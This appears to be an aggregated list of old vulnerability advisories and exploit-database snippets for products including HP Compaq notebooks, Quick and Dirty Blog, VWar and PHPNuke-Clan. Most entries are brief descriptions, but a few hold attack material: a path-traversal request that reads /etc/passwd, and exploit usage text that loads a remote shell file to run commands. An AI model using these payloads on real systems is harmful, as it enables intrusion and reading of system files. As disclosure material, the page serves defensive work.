HP Compaq Notebooks - ActiveX Remote Code Execution

HP Compaq Notebooks - ActiveX Remote Code Execution !- Advisory: Multiple Hewlett-Packard notebook series are prone to a remote code execution attack. The manufacturer's preinstalled software contains a critical flaw within the software built to support one-touch button quick feature access...

HP Compaq Notebooks ActiveX Remote Code Execution Exploit

Exploit for unknown platform in category remote exploits ========================================================= HP Compaq Notebooks ActiveX Remote Code Execution Exploit ========================================================= !- Advisory: Multiple Hewlett-Packard notebook series are prone to...

Quick/Dirty Blog Categories.PHP本地文件包含漏洞

Quick And Dirty Blog是一款基于PHP的WEB应用程序。 Quick And Dirty Blog不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB权限查看系统文件内容。 问题是由于'Categories.PHP'脚本对用户提交的'theme'参数缺少过滤，提交包含多个"../"字符作为参数，可绕过WEB ROOT限制，以WEB权限查看系统文件内容。 Quick and Dirty Blog 0.4 目前没有详细解决方案提供： http://sourceforge.net/projects/qdblog/...

Quick and Dirty Blog 0.4 (categories.php) Local File Inclusion Vuln

No description provided by source. Quick and Dirty Blog 0.4 categories.php Local File Inclusion Vulnerability http://heanet.dl.sourceforge.net/sourceforge/qdblog/qdblog-0.4.tar.bz2 POC: /categories.php?theme=../../../../../../../../../etc/passwd%00 sebug.net...

Quick and Dirty Blog 0.4 (categories.php) Local File Inclusion Vuln

Exploit for unknown platform in category web applications =================================================================== Quick and Dirty Blog 0.4 categories.php Local File Inclusion Vuln =================================================================== Quick and Dirty Blog 0.4 categories.p...

CVE-2002-2287

PHP remote file inclusion vulnerability in quickreply.php for phpBB Advanced Quick Reply Hack 1.0.0 and 1.1.0 allows remote attackers to execute arbitrary PHP code via the phpbbrootpath parameter...

VWar <= v1.5.0 R15 (mvcw.php) Remote File Inclusion Vulnerability

No description provided by source. '/ -.- --------------------oOO------OOo-------------------- | VWar = v1.5.0 R15 mvcw.php Remote File Inclusion | | coded by DNX | ------------------------------------------------------- ! Discovered: DNX ! Vendor: http://www.vwar.de ! Detected: 26.02.2007 !...

PHPNuke-Clan <= 4.2.0 (mvcw_conver.php) RFI Vulnerability

No description provided by source. '/ -.- --------------------------oOO------OOo------------------------- | PHPNuke-Clan = v4.2.0 mvcwconver.php Remote File Inclusion | | coded by DNX | ------------------------------------------------------------------ ! Discovered: DNX ! Vendor:...

VWar <= v1.5.0 R15 (mvcw.php) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ================================================================= VWar = v1.5.0 R15 mvcw.php Remote File Inclusion Vulnerability ================================================================= '/ -.-...

VWar 1.5.0 R15 - mvcw.php Remote File Inclusion

VWar 1.5.0 R15 - mvcw.php Remote File Inclusion '/ -.- --------------------oOO------OOo-------------------- | VWar = v1.5.0 R15 mvcw.php Remote File Inclusion | | coded by DNX | ------------------------------------------------------- ! Discovered: DNX ! Vendor: http://www.vwar.de ! Detected:...

PHPNuke-Clan 4.2.0 - mvcw_conver.php Remote File Inclusion

PHPNuke-Clan 4.2.0 - mvcwconver.php Remote File Inclusion '/ -.- --------------------------oOO------OOo------------------------- | PHPNuke-Clan = v4.2.0 mvcwconver.php Remote File Inclusion | | coded by DNX | ------------------------------------------------------------------ ! Discovered: DNX !...

JVN#43615794 Yayoi Kaikei improper handling of credential information

Yayoi Kaikei Quick Navigator makes the user log into the vendor's server, and sends the user credentials unencrypted. Impact By monitoring the communication between Quick Navigator and the vendor's server, an attacker can obtain the customer number and the phone number to impersonate the user on...

NetClassifieds (SQL/XSS/Full Path) Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications ================================================================== NetClassifieds SQL/XSS/Full Path Multiple Remote Vulnerabilities ================================================================== Application: NetClassifieds: -Free Editi...

mxBB Module FAQ &amp; RULES 2.0.0 - Remote File Inclusion

!/usr/bin/php -q -d shortopentag=on cmd: a shell command ls -la Options: -pport: specify a port other than 80 -Pip:port: specify a proxy Example: php '.$argv0.' localhost http://www.shellsite.com/shell.txt ls -la -P1.1.1.1:80 shell.txt:...

CVE-2007-2305

Multiple SQL injection vulnerabilities in authenticate.php in Quick and Dirty Blog QDBlog 0.4, and possibly earlier, allow remote attackers to execute arbitrary SQL commands via the 1 username and 2 password parameters...

CVE-2007-2304

Multiple directory traversal vulnerabilities in Quick and Dirty Blog QDBlog 0.4, and possibly earlier, allow remote attackers to include and execute arbitrary local files via a .. dot dot in the theme parameter to categories.php and other unspecified files...

Sql injection

Multiple SQL injection vulnerabilities in authenticate.php in Quick and Dirty Blog QDBlog 0.4, and possibly earlier, allow remote attackers to execute arbitrary SQL commands via the 1 username and 2 password parameters...

Directory traversal

Multiple directory traversal vulnerabilities in Quick and Dirty Blog QDBlog 0.4, and possibly earlier, allow remote attackers to include and execute arbitrary local files via a .. dot dot in the theme parameter to categories.php and other unspecified files...

CVE-2007-2304

CVE-2007-2304 affects Quick and Dirty Blog (QDBlog) 0.4 (and possibly earlier). The vulnerability is described as multiple directory traversal flaws that allow remote attackers to include and execute arbitrary local files via a .. in the theme parameter to categories.php and other unspecified fil...

CVE-2007-0876

CVE-2007-0876 describes a cross-site scripting (XSS) vulnerability in Quick Digital Image Gallery (Qdig) 1.2.9.3 and devel-20060624. The issue allows remote attackers to inject arbitrary web script or HTML via the Qwd parameter to the top-level URI. Affected software is Qdig; the root cause is XS...